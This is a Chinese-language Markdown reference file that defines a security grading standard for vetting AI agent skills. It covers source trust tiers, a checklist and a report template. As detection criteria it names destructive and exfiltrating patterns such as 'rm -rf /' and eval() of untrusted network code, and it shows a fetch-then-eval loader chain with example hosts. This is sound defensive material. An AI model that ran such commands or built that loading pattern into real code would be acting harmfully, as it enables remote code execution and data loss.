oclaw/runtime/skills/cocoloop/references/cocoloop-safe-check.md
oliver dbbe3add6a 重构主控编排与运行时预热链路,统一工作区提示词/专家调度协议并补齐 wiki 记忆注入与写回闭环。
同时收敛启动与运维脚本默认行为(含 wiki worker)、更新 Admin 可观测性与相关测试,降低首轮时延并提高运行稳定性。

Made-with: Cursor
2026-04-26 08:34:33 +08:00

191 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cocoloop Safe Check 安全检查标准
本文件定义了 Cocoloop Skill 管理器的安全检查标准。
## 评级标准
### S+ 级
- 通过人工验证
- T1/T2 来源
- 满足所有 S 级要求
### S 级
- T1/T2 来源
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
### A 级
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
- 允许 T3 来源
### B 级
- 无 C/D 级问题
- 存在改进空间
### C 级
- 存在潜在安全漏洞
- 硬编码敏感信息
### D 级(一票否决)
- 使用 eval() 执行不可信网络代码
- 存在 SQL 注入、命令注入等明显漏洞
- 未经确认上传本地文件到远程(T3 来源)
- 执行 rm -rf / 等系统破坏性命令
## 检查维度
### 1. 代码安全性检查
**D级触发项**:
- 使用 `eval()` 执行不可信网络代码
- 使用 `exec()`、`system()` 执行未过滤的用户输入
- 存在 SQL 注入、命令注入、XSS 等明显漏洞
- 存在已知的严重 CVE 漏洞
**C级触发项**:
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
- 硬编码敏感信息(密码、API Key、Token)
### 2. 数据隐私性检查
**D级触发项**:
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道
**C级触发项**:
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
### 3. 执行安全性检查
**D级触发项**:
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作
- 修改系统关键配置且无备份机制
**C级触发项**:
- 危险操作缺乏二次确认
- 关键操作无回滚机制
### 4. 依赖可靠性检查
检查 skill 是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
**URL 递归检查(最多 2 层):**
对动态加载的可执行文件进行递归检查:
- **第 1 层**:Skill 代码中直接引用的动态 URL
- **第 2 层**:第 1 层内容中引用的动态 URL
- **超过 2 层**:发现第 3 层及以上动态加载 → **强制标记为 C 级**
**评级规则**:
| 动态加载层级 | 评级影响 |
|-------------|---------|
| 无动态加载 | 正常评级流程 |
| 仅第 1 层 | 根据来源分级处理 |
| 存在第 2 层 | 最高评级为 C 级 |
| 第 2 层后仍有动态加载 | **强制 C 级** |
**来源分级处理**:
- T1 来源:可加载官方动态代码,放宽至 B 级要求
- T2 来源:动态代码需来源验证,放宽至 C 级要求
- T3 来源:严格禁止未经验证的动态代码加载
**C 级触发场景(多层动态加载):**
```javascript
// 示例:三层动态加载触发 C 级
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
fetch('https://example.com/loader.js') // 第 1 层
.then(r => eval(r.text()))
// loader.js 中:
import('https://cdn.com/runtime.js') // 第 2 层
// runtime.js 中:
fetch('https://third.com/exec.js') // 第 3 层 → C 级
```
### 5. 来源可信度评估
**T1 - 官方/顶级来源**:
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源**:
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源**:
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 6. Markdown 内嵌代码检查
SKILL.md 文件中的代码块也需要检查:
**高风险代码块**:
- 包含代码执行类危险函数(如 eval/exec)
- 包含系统破坏性命令
- 包含敏感信息(凭据/密钥)
- 包含未经验证的网络下载执行
**中风险代码块**:
- 可执行的脚本代码
- 包含网络请求或文件操作的代码
**低风险代码块**:
- 配置/数据文件示例
- 代码片段演示(不完整)
- 单行简单命令(无害)
## 报告格式
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### 通过项
- [检查项]
### 注意事项
- [注意事项]
### 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 快速检查清单
- [ ] 无 eval/exec/system 等危险函数
- [ ] 无硬编码敏感信息
- [ ] 无 SQL/命令注入漏洞
- [ ] 依赖版本已锁定
- [ ] 无未经验证的动态代码加载
- [ ] 来源可信(T1/T2 优先)
- [ ] 有完善的输入验证
- [ ] 错误处理不泄露敏感信息